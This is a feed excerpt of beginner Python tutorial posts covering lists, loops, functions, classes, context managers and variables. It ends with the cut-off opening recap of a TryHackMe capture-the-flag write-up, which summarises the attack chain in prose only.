&#39;Pineapple&#39;]</pre><p>This list contains four elements of type str representing the names of different types of fruit. Another way to format the code is this:</p><pre>fruits = [<br>    &#39;Apple&#39;, <br>    &#39;Banana&#39;, <br>    &#39;Orange&#39;, <br>    &#39;Pineapple&#39;<br>]</pre><p>This format makes it easier to read the content if elements take up a lot of screen space.</p><p>You can access individual elements using their <em>index</em>, i.e. the location of the element in the list starting a 0, like this:</p><ul><li>fruits[0] would return &#39;Apple&#39;.</li><li>fruits[2] would return &#39;Orange&#39;.</li><li>fruits[-1] would return &#39;Pineapple&#39;.</li></ul><p>In Python we can use negative indexes too, counting from right to left. The last element of a list is <em>always</em> element -1. This is shown below:</p><pre>              [&#39;Apple&#39;, &#39;Banana&#39;, &#39;Orange&#39;, &#39;Pineapple&#39;]<br># From left:      0         1         2          3<br># From right:    -4        -3        -2         -1</pre><p>Oh, but wait, we forgot about peaches! Let’s add a peach to the list:</p><pre>fruits.append(&#39;Peach&#39;)</pre><p>If we run this code in the IDLE we will see that we added a peach:</p><pre>&gt;&gt;&gt; fruits = [&#39;Apple&#39;, &#39;Banana&#39;, &#39;Orange&#39;, &#39;Pineapple&#39;]<br>&gt;&gt;&gt; fruits.append(&#39;Peach&#39;)<br>&gt;&gt;&gt; fruits<br>[&#39;Apple&#39;, &#39;Banana&#39;, &#39;Orange&#39;, &#39;Pineapple&#39;, &#39;Peach&#39;]</pre><p>The final syntax related to lists that I want to show is <em>slicing.</em> We can split a list into a subset of elements <em>from and including</em> one index <em>to but excluding</em> a second index. To do this we use this syntax: fruits[1:3] which will produce a new list <em>from and including</em> &#39;Banana&#39; <em>to but excluding</em> &#39;Pineapple&#39;.</p><pre>&gt;&gt;&gt; fruits = [&#39;Apple&#39;, &#39;Banana&#39;, &#39;Orange&#39;, &#39;Pineapple&#39;, &#39;Peach&#39;]<br>&gt;&gt;&gt; fruits[1:3]<br>[&#39;Banana&#39;, &#39;Orange&#39;]</pre><p>If we leave one of the sides blank, the minimum or maximum value of the list is assumed. For example:</p><pre>&gt;&gt;&gt; fruits = [&#39;Apple&#39;, &#39;Banana&#39;, &#39;Orange&#39;, &#39;Pineapple&#39;, &#39;Peach&#39;]<br>&gt;&gt;&gt;<br>&gt;&gt;&gt; fruits[1:]  # From an including &#39;Banana&#39; until the end<br>[&#39;Banana&#39;, &#39;Orange&#39;, &#39;Pineapple&#39;, &#39;Peach&#39;]<br>&gt;&gt;&gt;<br>&gt;&gt;&gt; fruits[:3]  # From the beginning until but excluding &#39;Pineapple&#39;<br>[&#39;Apple&#39;, &#39;Banana&#39;, &#39;Orange&#39;]</pre><p>We can treat strings the same way we treat lists, too. This is really useful if we need to get a substring of some string. Let’s pretend that we’ve got a text file that shows the list of fruits, but ordered by how much we like them.</p><pre>1. Pineapple<br>2. Apple<br>3. Orange<br>4. Banana<br>5. Peach</pre><p>We’ve pretend to have made a Python script that will read the file contents and then it needs to parse each line so we can get the name of the fruits in order. The first line is &#39;1. Pineapple&#39;. We only want &#39;Pineapple&#39;. What do we do? Well, because we know that each line in the list for sure only has a single digit, followed by a dot and a space, then the fruit itself, we can use get the substring of each line, cutting away the first three symbols, e.g., removing &#39;1. &#39; or &#39;2. &#39;. We can simply do:</p><pre>&gt;&gt;&gt; line = &#39;1. Pineapple&#39;<br>&gt;&gt;&gt; line[3:]<br>&#39;Pineapple&#39;</pre><blockquote><strong><em>Exercise:</em></strong><em><br>Try creating a list </em><em>cars_brands = [&#39;Ford&#39;, &#39;Audi&#39;, &#39;BMW&#39;] then add Mercedes and Ferrari by using the </em><em>append() function. Which index is </em><em>&#39;Audi&#39; at? Try it out. What about </em><em>&#39;Ferrari&#39;?</em></blockquote><h4>For-each loops</h4><p>We can perform actions on each element in a list by using a “for-each loop”. While it is technically also possible to use while loops, it’s a lot nicer and simpler to work with for-each. The syntax goes like this:</p><pre>for element in collection:<br>    pass  # do something with &quot;element&quot;</pre><p>For example we can combine format-strings with the fruits in our list and print out nice messages about them all. Try running the below code either in the IDLE or in a script.</p><pre>fruits = [&#39;Apple&#39;, &#39;Banana&#39;, &#39;Orange&#39;, &#39;Pineapple&#39;, &#39;Peach&#39;]<br><br>for fruit in fruits:<br>    print(f&#39;Yummy! I love {fruit}s so much.&#39;)</pre><p>Doing so will reveal a “logical bug”, i.e. a type of bug that causes the code to do the wrong thing — or in this case an odd thing — by mistake:</p><pre>Yummy! I love Peachs so much.</pre><p>Notice the typo in “Peachs” (it should have been “Peach<strong>e</strong>s”)? Extending the code to support special cases for some fruits where es is added in plural form and not just s becomes a little too extensive for now. For all intents and purposes, if you wrote a list with content and printed a formatted string, for each elements in the list, then all is good.</p><p>We will have plenty of opportunity to introduce more bugs in the future. It’s all part of the job — as is fixing them, of course.</p><blockquote><strong><em>Exercise:<br></em></strong><em>What is the secret message printed in the below piece of code?</em></blockquote><pre>secret_tokens = [&#39;MaNdOLin&#39;, &#39;cake&#39;, &#39;w!$2=+&lt;.&#39;]<br>message = []<br><br>for token in secret_tokens:<br>    message.append(token[:2])<br><br>print(&#39;&#39;.join(message))</pre><p>Hint: it’s a type of parrot.</p><h3>Functions</h3><p>So far, we’ve been exploring techniques for controlling code flow and creating simple scripts. However, as our projects grow in complexity, it’s essential to introduce another crucial building block: functions. Functions let us define reusable blocks of code that perform specific actions, produce values, or return results. By using functions we can write more efficient, readable, and maintainable code.</p><h4>Remember Math?</h4><p>Most likely you have already seen functions before either from another programming language or from school during math. Functions we learned in school were often used to define how some graph would be plotted. The most common form was f(x) for example f(x) = x^2 * 3.14. The cool thing is that this is almost valid python code. Let’s rewrite the function in Python:</p><pre># f(x) = x^2 * 3.14<br>def f(x):<br>    return x ** 2 * 3.14</pre><p>The principle is almost the same. In Python we don’t say that the function f of x is equal to something, we say that the function f <em>returns</em> something given an x.</p><p>Unlike in math we also don’t use — or should not use — one-letter names for functions or variables except in <em>very specific</em> cases. It is not uncommon to write tens of thousands of lines of Python code and not have the need to use a one-letter name even once. Let’s fix the above code so it is more pleasant to read.</p><pre>def circle_area(radius):<br>    return radius ** 2 * 3.14</pre><p>Much better. When we use this function in our code we now no longer need to guess or try to figure out what exactly this f returns, we can just read the name and immediately we understand. This function has a <em>Single Responsibility</em> which, while heavily debated in the programming community, is generally a good thing.</p><blockquote>About the “Single Responsibility Principle” (SRP):<br>This is one of the so-called SOLID principles — a heavily debated set of advanced guidelines for how to structure most Object Oriented code. We will not go through these principles in this series, but SRP is in my professional opinion generally speaking really good to know. If this is your first language I urge you to wait reading about these SOLID principles until after having gone through the rest of the material. If this is not your first rodeo, <a href="https://www.digitalocean.com/community/conceptual-articles/s-o-l-i-d-the-first-five-principles-of-object-oriented-design">you can read more here</a>.</blockquote><h4>Calling functions</h4><p>Up until now we have called a few functions already, for example when printing variables or when calculating the area of a circle. We have done so by type the function name and the value we would like to pass along to the function in between for example print(&#39;Hi!&#39;).</p><p>Parameters that we pass along to functions at a certain position are called <em>positional parameters. </em>When using positional parameters it is vitally important which order we provide the parameters in. Another new term is what we call “all the things that is the function”: the <em>function signature. </em>Let’s consider this function and its signature especially:</p><pre>def greeting_from_sibling(person, sibling, age):<br>    print(f&#39;Hello {person}. {sibling} is {age} years old and says hi.&#39;)  </pre><p>Given the function signature greeting_from_sibling(person, sibling, age) it is quite obvious which values have to go where. But when we use the function, do we trust ourselves to remember which name is the sibling? Do we trust our colleagues to remember it, when they’re in a bad mood?</p><pre># Was it like so?<br>greeting_from_sibling(&#39;Birb&#39;, &#39;Mr. Tweeters&#39;, 16)<br><br># ...or maybe I should be 2nd?<br>greeting_from_sibling(&#39;Mr. Tweeters&#39;, &#39;Birb&#39;, 16)</pre><p>Positional parameters can be nice when it is obvious which position represents which value. Python has a trick however: <em>Named Parameters.</em></p><p>Named parameters work much the same way, except that we <em>explicitly</em> specify the name of the parameters when assigning our value, almost as if they are variables for the function. The cool thing about named parameters is that the order does not matter. These examples are both valid and will print the same result:</p><pre>greeting_from_sibling(person=&#39;Birb&#39;, sibling=&#39;Mr. Tweeters&#39;, age=16)<br>greeting_from_sibling(sibling=&#39;Mr. Tweeters&#39;, person=&#39;Birb&#39;, age=16)</pre><p>We can also use the same style for function signatures and assign <em>default values</em> to parameters. Parameters with default values do not need to be set when calling the function. If they are set however, that new value will be used, otherwise the default value will be used. Let’s change the greeting function to include a location of the greeting:</p><pre>def greeting_from_sibling(person, sibling, age, location=&#39;home&#39;):<br>    print(f&#39;Hello {person}. {sibling} is {age} years old and says hi.&#39;)<br>    print(f&#39;They said hi at {location}.&#39;)</pre><p>If we run the code without specifying a location then the default value of “home” will be used. We can also override the value:</p><pre>&gt;&gt;&gt; greeting_from_sibling(person=&#39;Birb&#39;, sibling=&#39;Mr. Tweeters&#39;, age=16)<br>Hello Birb. Mr. Tweeters is 16 years old and says hi.<br>They said hi at home.<br><br>&gt;&gt;&gt; greeting_from_sibling(person=&#39;Birb&#39;, sibling=&#39;Mr. Tweeters&#39;, age=16, location=&#39;tree house&#39;)<br>Hello Birb. Mr. Tweeters is 16 years old and says hi.<br>They said hi at tree house.</pre><p>We can mix and match positional and named parameters too, but as soon as we start using named parameters in our function call, we need to use named parameters for all remaining parameters in that function call.</p><p>In other words we can do this:</p><pre>&gt;&gt;&gt; greeting_from_sibling(&#39;Birb&#39;, &#39;Mr. Tweeters&#39;, 16, location=&#39;tree house&#39;)<br>Hello Birb. Mr. Tweeters is 16 years old and says hi.<br>They said hi at tree house.</pre><p>but we cannot do this:</p><pre>&gt;&gt;&gt; greeting_from_sibling(&#39;Birb&#39;, sibling=&#39;Mr. Tweeters&#39;, 16, &#39;tree house&#39;)<br>  File &quot;&lt;stdin&gt;&quot;, line 1<br>    greeting_from_sibling(&#39;Birb&#39;, sibling=&#39;Mr. Tweeters&#39;, 16, &#39;tree house&#39;)<br>                                                                          ^<br>SyntaxError: positional argument follows keyword argument</pre><blockquote><strong><em>Exercise:</em></strong><em><br>Create a function with a signature of </em><em>circumference(radius) that returns the circumference of a circle. Try calling it with positional and named parameters. <br> <br>Now create a function </em><em>give_ball(size, person). When calling the function with parameters </em><em>size=20 and </em><em>person=Jack the function should print the string “The computer gave Jack a 20 cm large ball.”<br>Remember that you can use format-strings like so: </em><em>f&#39;Foo bar {variable}&#39;.</em></blockquote><h3>Classes</h3><p>While functions define behaviour, classes define objects. I like to think of classes as cooking recipes and similar schematics of what an object of a certain type is or rather which properties it has and what it can do. Let’s look at a class representing my favourite type of cake: the Danish Dream Cake.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/0*i2sUsY6cZItc4fXH" /><figcaption>The Danish “Drømmekage” — Dream Cake. Photo: <a href="https://www.arla.dk/opskrifter/drommekage-fra-brovst/">Arla</a>.</figcaption></figure><h4>Let’s get baking!</h4><p>Consider this recipe — or class rather — of the delicious Dream Cake.</p><pre>class DreamCake:<br>    # Units are one of number, grams or ml, whichever fits the best.<br>    # Base cake:<br>    eggs = 4<br>    sugar = 300 <br>    milk = 200<br>    butter = 50<br>    flour = 250<br>    baking_soda = 20<br>    vanilla = 10<br><br>    # Topping:<br>    top_butter = 100<br>    top_coconut_flour = 150<br>    top_brown_sugar = 225<br>    top_milk = 50<br>    <br>    # Cake properties<br>    extra_topping = False<br>    is_baked = False<br><br>    def __init__(self, extra_topping=False):<br>        self.extra_topping = extra_topping<br><br>        if self.extra_topping:<br>            self.top_butter = 150<br>            self.top_coconut_flour = 225<br>            self.top_brown_sugar = 340<br>            self.top_milk = 75<br>    <br>    def bake(self):<br>        self.is_baked = True<br><br>    def is_cake_ready(self):<br>        if self.is_baked:<br>            print(&#39;Cake is ready!&#39;)<br>        return self.is_baked<br><br>    def is_cake_extra_delicious(self):<br>        if self.extra_topping:<br>            print(&#39;Yummy!&#39;)<br>        return self.extra_topping</pre><p>That’s a lot of code. At least significantly more than we have seen so far. Let’s break it down and see what’s going on:</p><ol><li>First we have the class DreamCake: piece of code defining a new class.</li><li>Then comes a long list of all the ingredients needed to bake the cake.</li><li>Then comes four functions, the first one perhaps a bit intimidating.</li></ol><p>Now let’s look a little closer at the first function, the __init__ function.</p><pre>def __init__(self, extra_topping=False):<br>    self.extra_topping = extra_topping<br><br>    if self.extra_topping:<br>        self.top_butter = 150<br>        self.top_coconut_flour = 225<br>        self.top_brown_sugar = 340<br>        self.top_milk = 75</pre><p>This is the built-in <em>dunder method</em> that we <em>overload. </em>If this is the first time you’re seeing these terms, now is a good time to go back to the advanced section on operators in part 1 of the series.</p><p>The __init__ function is the function that automatically gets called and executed whenever we create a new object of a class. A new object of a class can be created by “calling the class” and can then be assigned to a variable, for example:</p><pre>my_cake = DreamCake()</pre><p>We now have a DreamCake object stored in the variable my_cake.</p><p>But what is this self thing that is suddenly present in all of the function signatures? Python needs a way to reference components inside of the class (as opposed to just inside the function) and for this it uses a reference pointer called self. With the self parameter we can access <em>class variables </em>and functions inside of the class, from within the functions of the class. If for example we wanted the bake function to also call the is_cake_ready function, to let us know when (or that) the cake is ready, we could choose to update the code as such:</p><pre>def bake(self):<br>    self.is_baked = True<br>    self.is_cake_ready()</pre><p>Notice that we completely ignore the parameter self when calling functions. We do not see it. We do not care about it. Not until we need it, anyway.</p><p>And yet in class functions the first keyword must <em>always</em> be self, even if we don’t use it. In other languages such as Java, this is solved by using a special keyword this, but for language design reasons Python ended up with a self function parameter.</p><blockquote><strong><em>Exercise:</em></strong><em><br>Copy and paste (or re-write for extra “brownie points”) the code into a file. On a new line, at the same indentation level as </em><em>class (i.e. all the way to the left), create a new object of the cake. Now call </em><em>my_cake.is_cake_ready().<br> <br>Whoops! We haven’t baked it yet. Call </em><em>my_cake.bake() then check if it is ready.<br>Now update </em><em>my_cake with a new </em><em>DreamCake object </em><em>DreamCake(extra_topping=True) and repeat the above steps.</em></blockquote><h4>Overloading is fun</h4><p>Overloading is the technique of changing the behaviour of a function or the value of a variable that a class has <em>inherited </em>from its <em>parent class</em>. What does that mean?</p><p>Inheritance is one of the great features of Object Oriented Programming. It allows our code to reuse code defined in a common class so we don’t need to reinvent the wheel over and over again. If we were to create two other types of cake we didn’t have to define a bake method for each of the additional classes, we could just define a common Cake class that DreamCake and the other subtypes of cakes inherit from. This is done with the following syntax:</p><pre>class DreamCake(Cake):<br>    # ...</pre><p>All classes actually inherit from the common class object (lowercase, despite common naming conventions). This class contains all of the dunder methods that we overload, and thus why it is mentioned.</p><p>We sometimes want to define a different string representation of our objects, and to do this we need to overload the __str__ function. If we do not, and we try to print(my_cake) we will get a cryptic message that is not very useful for us.</p><pre>&gt;&gt;&gt; print(my_cake)<br>&lt;__main__.DreamCake object at 0x101ce1550&gt;</pre><p>This is the default string representation of classes that have not overloaded __str__.</p><p>Overloading it is as easy as defining the function and returning a more human-friendly string:</p><pre>def __str__(self) -&gt; str:<br>    return f&#39;DreamCake. Extra delicious: {self.extra_topping}.&#39;</pre><p>Now our print statement looks like this, assuming we used extra topping:</p><pre>&gt;&gt;&gt; print(my_cake)<br>DreamCake. Extra delicious: True.</pre><h4>Advanced overloading — writing “Pythonic” code</h4><p>The way we read files in Python is with the open class. It takes a file path as the first parameter and a “mode” as the second, i.e. do we want to read as text, read as bytes, write, and so forth. The supported modes are the same as the fopen modes <a href="http://www.manpagez.com/man/3/fopen/">described on the man page</a>. On Windows, the letter b can be appended to the mode, e.g., rb to treat the input as raw bytes rather than trying to treat it as text. This is often useful.</p><p>To read a file we thus type:</p><pre>with open(&#39;/home/birb/path/to/file.txt&#39;, &#39;r&#39;) as r:<br>    file_content = r.read()</pre><p>This syntax is considered “Pythonic”, i.e. a common good practice in Python. Let’s start from the right because this is simplest: as r saves the object that we just created by calling open(&#39;/home/b...&#39;, &#39;r&#39;) in a variable r. This variable is <em>only</em> available in the inner scope of the with block (defined by the indentation level). This object lets us for example read the whole file, which we did, or read line by line so we can use it in a for-each loop, and so forth.</p><p>Now comes the cool part.</p><p>Maybe you know already and if you don’t, you will now: when an Operating System opens a file, a so-called <em>handle</em> to that file is created. Think of it as the OS grabbing the piece of paper with its arm and hand. This is our file handle. Without this we cannot read or write to the file. When we are done using this file, we need a way to tell the OS that it doesn’t need to hold on the piece of paper anymore. This also lets the OS finish writing the last bits and bytes to the files (it does so in buffers or “chunks” for efficiency). If we do not, we risk corrupting the file or leaving file handles dangle. That’s not very nice. We need to close the handle when we are done.</p><p>Using the with statement this happens for us automatically. If we had not used the with statement, we would need to store the object of the open class as a variable and then remember to call close() on the object. The with statement has an <em>enter </em>and an <em>exit</em> block of code that gets executed when we enter and exit the scope.</p><p>How does this work? Dunder methods and overloading! Let’s write a simple example to demonstrate this and create a “Buttler” class which will greet us whenever we enter and exit the with scope.</p><pre>class Buttler():<br><br>    def __enter__(self):<br>        print(f&#39;Welcome inside the scope.&#39;)<br><br>    def __exit__(self, type, value, traceback):<br>        print(&quot;Have a nice day.&quot;)</pre><p>Let’s try it out and see what happens.</p><pre>with Buttler():<br>    print(&#39;Henlo, this is Birb. I am inside the scope.&#39;)</pre><p>The output:</p><pre>Welcome inside the scope.<br>Henlo, this is Birb. I am inside the scope.<br>Have a nice day.</pre><p>Very fun, but perhaps not super useful. Here are a few useful examples of where this functionality could be used:</p><ul><li>Working with files, as we saw.</li><li>Working with sockets for TCP/UDP connections.</li><li>Authenticating and invalidating web sessions for brief, secure use.</li><li>Detail-rich debug logging in code.</li></ul><p>Essentially any situation where using some resource has a setup and tear-down stage that has to happen every time, or where an event should happen upon “entering” and “exiting” certain parts of the code.</p><blockquote><strong><em>Exercise:</em></strong><em><br>Try to create your own class and overload the </em><em>__enter__ and </em><em>__exit__ functions or replicate the above in your own script.<br>Extend the class with an </em><em>__init__ function that will ask the user for their name by typing </em><em>self.name = input(&#39;What is your name? &#39;) then include the name in the </em><em>__exit__ function by converting the string to a format-string </em><em>f&#39;Have a nice day {self.name}.&#39;</em></blockquote><p>What a ride! Time to stretch some legs and I’ll see you in the next one.</p><h3>Navigation</h3><p>Previous part:</p><p><a href="https://localnest.xyz/python-essentials-part-1-getting-started-with-variables-84ab036aa0e6">Python Essentials, Part 1: Getting started with variables</a></p><p>Next part:</p><p><a href="https://localnest.xyz/python-essentials-part-3-using-external-libraries-0a2cf37c6028">Python Essentials, Part 3: Using external libraries</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c941b7fcd6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python Essentials, Part 1: Getting started with variables]]></title>
            <link>https://medium.com/@0xbirb/python-essentials-part-1-getting-started-with-variables-84ab036aa0e6?source=rss-f61ffb42a618------2</link>
            <guid isPermaLink="false">https://medium.com/p/84ab036aa0e6</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Birb]]></dc:creator>
            <pubDate>Wed, 24 Jul 2024 11:51:11 GMT</pubDate>
            <atom:updated>2024-07-24T23:54:11.738Z</atom:updated>
            <cc:license>https://creativecommons.org/licenses/by-nc/4.0/</cc:license>
            <content:encoded><![CDATA[<h4>An introduction to Python 3, the IDLE and variables.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*9fOaNJyYKtjYKUcqV157gw.png" /></figure><h3>Foreword</h3><p>In this series we will go through an introduction of the Python 3 programming language. The following content is intended for learners at a beginner level and aims to increase this level significantly. With my past experience from writing a similar, paid course with thousands of participants, it is my ambition to provide content of comparable quality in this series.</p><p>Without further ado I will bid you a warm welcome to the cozy side of the Internet and hope you enjoy this hands-on introduction to Python 3.</p><h3>Introduction to Python 3</h3><p>Python is one of the most popular programming languages currently. This makes it a popular choice for developing various applications, from simple tools to complex systems. Its simplicity and flexibility make it an ideal language for beginners and experienced programmers alike.</p><p>Python is an interpreted language, which means the code itself is not compiled into machine code like C code. Instead, it is interpreted by the Python program, and the instructions in the scripts are executed. Python is a high-level language meaning the scripts we produce are simplified for our convenience so that we do not need to worry about memory management, system calls, and so forth.</p><p>As for the coding style, we will gently touch on the object-oriented programming because this makes reasoning about code a lot simpler in my honest opinion. Essentially, object-oriented programming will make reasoning about problems likely feel less intimidating, especially if you’ve ever played with them small Danish plastic bricks before (and not just stepped on them). Lastly, Python is considered easy to read, especially the simpler logic. This may be because of its close resemblance to the English language and its strict requirements for proper code indentation.</p><p>Up until the recent years Python <strong>2</strong> was also greatly popular, but support has since then halted and Python <strong>2 </strong>is considered End of Life. To avoid confusion we will only be talking about Python <strong>3</strong> in this series, but as it is still possible to stumble over the occasional old Python 2 script, I wanted to mention the existence (and End of Life) of the old version.</p><p>The remainder of this teaching series assumes that Python <strong>3</strong> has been installed.</p><h3>Executing Python code</h3><p>There are several ways to execute a piece of Python code, including running it from a .py file and directly within the IDLE. We will briefly explore the two options with examples.</p><h4>Running code from a file</h4><p>This method is ideal for developing scripts whether small or large. When you have a script that you want to run repeatedly or as part of a larger project, saving it to a .py file makes sense. Let’s explore how.</p><ol><li>Start by create a new text file with a .py extension.</li><li>Write your Python code in the file, for example: print(&#39;Hello world!&#39;)</li><li>Save the file as hello.py</li></ol><p>To run the code open up a terminal and type python hello.py and you should see a greeting. Note: Linux and Mac users may need to type python3 instead.</p><p>Specifically for the Unix folks you may stumble upon the so-called “Shebang” when working with scripts — Python as well. This makes running the scripts easier and lets us just call the script as if it was a program with a simple ./hello.py rather that python3 hello.py. To add a “Shabang”, type the following (green) comment at the top of your file:</p><pre>#!/usr/bin/env python3<br><br>print(&#39;Hello world!&#39;)</pre><p>Afterwards remember to add the execute rights to the file by running<br>chmod +x hello.py otherwise you may get an error.</p><h4>Running Code within the IDLE</h4><p>To run code directly within IDLE simply open a terminal and run python without any other parameters. You should be greeted with something along the lines of the following:</p><pre>Python 3.10.6 (tags/v3.10.6:9c7b4bd, Aug  1 2022, 21:53:49) [MSC v.1932 64 bit (AMD64)] on win32<br>Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.<br>&gt;&gt;&gt;</pre><p>Code can then be entered after the &gt;&gt;&gt; prompt. To exit the IDLE type exit() and hit enter.</p><p>Within this environment, granted you either didn’t exit or you started it again, we can evaluate simple math equations like 4 + 2, or store and use variables. When evaluating an expression, the result will be printed on the line below if a result is returned. We use the term “return” when a function “gives a result back” to the context by which it is called. If the expression is assigned to a variable, nothing will be printed because the value is stored in the variable instead.</p><p>Let’s try running some simple code first.</p><pre>&gt;&gt;&gt; 37 + 5<br>42<br>&gt;&gt;&gt; foo = 37 + 5<br>&gt;&gt;&gt; foo<br>42<br>&gt;&gt;&gt; foo * 2<br>84<br>&gt;&gt;&gt; print(&#39;Hello there!&#39;)<br>Hello there!<br>&gt;&gt;&gt; print(foo)<br>42<br>&gt;&gt;&gt;</pre><p>That the IDLE can be used as a calculator might not be of a surprise. We can then define a variable foo and see its value by evaluating it (hitting the Enter key). Finally we use print to print a greeting and the foo variable itself. One thing to note is that the code is evaluated from the top going down. This means you cannot use a variable that has not yet been define at the line it is used. This will for example not work:</p><pre>f = 2 * x + 5<br>x = 3</pre><p>Python does not know what this x is yet, and it is not able to “look ahead” and deduce what we mean in this case. This is by design. To fix it, we need to swap the two lines around, like so:</p><pre>x = 3<br>f = 2 * x + 5</pre><p>Now x is known at the time it is referenced, and the variable f will successfully be evaluated to 11.</p><h3>Introduction to variables and simple types</h3><p>We will get the chance to execute a lot more Python code throughout this series, so let’s talk some more about variables.</p><p>Let’s look at this list of variables:</p><pre>&gt;&gt;&gt; x = 5<br>&gt;&gt;&gt; f = 2 * x<br>&gt;&gt;&gt; gravity = 9.8<br>&gt;&gt;&gt; cake = &#39;Yummy!&#39;<br>&gt;&gt;&gt; is_cake_eaten = False<br>&gt;&gt;&gt; ideas = None<br>&gt;&gt;&gt; # This is a comment. We can add comments by typing &#39;#&#39;.<br>&gt;&gt;&gt; henlo = &#39;birb&#39;  # Comments can also be added next to code.</pre><p>So far so good. Remember to try out the examples in your IDLE.</p><p>Python has a built-in function called type which can tell us what type a given object is. To use it, we will “give it the object as a parameter” the same way that we “gave” print the variable foo earlier. We do this like so: type(object) for example type(x) or type(is_cake_eaten). Try it out in the IDLE:</p><pre>&gt;&gt;&gt; type(is_cake_eaten)<br>&lt;class &#39;bool&#39;&gt;<br>&gt;&gt;&gt; type(cake)<br>&lt;class &#39;str&#39;&gt;</pre><p>The output from the IDLE tells us that the type of the is_cake_eaten variable is a class called bool. We’ll talk more about classes later. Similarly cake is a str or “string” in plain English.</p><p>There are many different pre-defined types in Python, but some of the more common ones you will likely be using — that we have seen so far that is — are these:</p><ul><li>Integer (int): a number without a decimal.</li><li>Float (float): a number with a decimal.</li><li>Boolean (bool): a truth value of either True or False. See <a href="https://en.wikipedia.org/wiki/Boolean_algebra">Wikipedia</a> for a brush-up on boolean algebra.</li><li>String (str): a string of text, e.g., &#39;Hello world!&#39;.</li></ul><p>There is a multitude of additional types that we will be using but have not yet seen. We will discuss these in more detail later.</p><p>In closing let’s look at some basic math operations in Python.</p><pre>&gt;&gt;&gt; add = 5 + 2<br>&gt;&gt;&gt; subtract = 5 - 2<br>&gt;&gt;&gt; mutliply = 5 * 2<br>&gt;&gt;&gt; divide = 5 / 2<br>&gt;&gt;&gt; squared = 5 ** 2<br>&gt;&gt;&gt; modulo = 5 % 2</pre><p>I will leave it to you to figure out what values of each variable are, if you have not guessed it already.</p><h4>Advanced note on Python operators</h4><p>The inner workings of these simple math operators is quite beautiful. The operators of a class can be so-called <em>overloaded </em>by new functionality if we, for example, wanted to have * repeat a character x number of times when used with strings like &#39;a&#39; * 10 (try it out in the IDLE).</p><p>This is done by re-implementing the <em>dunder method </em>for the operator, such as __mul__() for the * operator or __truediv__() for the / operator. When the operator is used like we would typically use them, e.g., 2 + 3, that is using so-called “infix notation”, the + is actually short-hand for a dunder method which will be called with the two values as input. These dunder methods we can change the behavior of — we can overload them.</p><p>When would this ever make sense, you ask? Well, if we are working with file paths and we want to have some form of reusability between the different parts of the path, we could have something like this:</p><pre>&gt;&gt;&gt; ROOT_DIR = &#39;/home/birb/py-code&#39;<br>&gt;&gt;&gt; PROJECT = &#39;intro-py3&#39;<br>&gt;&gt;&gt; PROJ_DIR = f&#39;{ROOT_DIR}/{intro-py3}&#39;</pre><blockquote>Two things to note here:</blockquote><blockquote><strong>1.</strong> The variable names are all upper-case. This is to indicate that these should be considered constant (they are technically not — only by naming convention).</blockquote><blockquote><strong>2. </strong>The value of PROJ_DIR is a so-called “format string”, which produces a string that uses other variables inside the string directly. We will talk more about this later.</blockquote><p>The above code is surely readable but if we used the Path class from the pathlib library instead — more on libraries later — we can do this:</p><pre>&gt;&gt;&gt; from pathlib import Path<br>&gt;&gt;&gt; <br>&gt;&gt;&gt; ROOT_DIR = Path(&#39;/home/birb/py-code&#39;)<br>&gt;&gt;&gt; PROJECT = Path(&#39;intro-py3&#39;)<br>&gt;&gt;&gt; PROJ_DIR = ROOT_DIR / PROJECT<br>&gt;&gt;&gt; PROJ_DIR<br>PosixPath(&#39;/home/birb/py-code/intro-py3&#39;)</pre><p>Specifically this part is interesting:</p><pre>&gt;&gt;&gt; ROOT_DIR / PROJECT<br>PosixPath(&#39;/home/birb/py-code/intro-py3&#39;)</pre><p>We don’t “divide two strings” here. We treat the / as a <em>path separator </em>for the two Path variables and get a PosixPath object which can be used as a drop-in replacement for all “string-like” paths in Python! How cool is that?</p><p>This concludes the first part. To continue to the next chapter, click the article link below.</p><h3>Navigation</h3><p>Next Chapter:</p><p><a href="https://localnest.xyz/python-essentials-part-2-control-structures-functions-and-classes-8c941b7fcd6b">Python Essentials, Part 2: Control structures, functions, and classes</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84ab036aa0e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DX2: Hell’s Kitchen, TryHackMe CTF Write-up]]></title>
            <link>https://medium.com/@0xbirb/dx2-hells-kitchen-tryhackme-ctf-write-up-00c7cdc1347f?source=rss-f61ffb42a618------2</link>
            <guid isPermaLink="false">https://medium.com/p/00c7cdc1347f</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Birb]]></dc:creator>
            <pubDate>Mon, 22 Jul 2024 18:01:00 GMT</pubDate>
            <atom:updated>2024-07-23T09:18:50.867Z</atom:updated>
            <cc:license>https://creativecommons.org/licenses/by-nc-nd/4.0/</cc:license>
            <content:encoded><![CDATA[<h4>“Hell’s Kitchen” is not just a Deus Ex reference. It is also the perfect analogy of the 7-course meal of mental suffering — but in a good way — that Chris Pritchard, the author of the machine, has prepared for us. Join me on this crazy ride of multiple custom exploitations with a drizzle of some handy tricks as we dine in Hell’s Kitchen.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*xt4YzA_XOEfUJxcxTAtiXA.png" /><figcaption>DX2: Hell’s Kitchen. The most painful meal in years.</figcaption></figure><p>💳💰 <a href="https://localnest.xyz/dx2-hells-kitchen-tryhackme-ctf-write-up-00c7cdc1347f?sk=30477a1b71538c76352b8a6ce01ae9ad"><strong><em>Not a Medium member? No problem! Click here to read for free.</em></strong></a><strong><em> </em></strong>📃😄</p><h3>Brief recap</h3><p>This machine starts off with a bit of web exploitation forcing us to implement a custom script to enumerate for SQL injections (in all fairness we could have done this by hand, too), stealing credentials in the DB after fingerprinting which DBMS is used, getting a reverse shell through a teeny tiny RCE and then elevating privileges from one user to the other. The grand finale has us abuse NFS to let us grab the 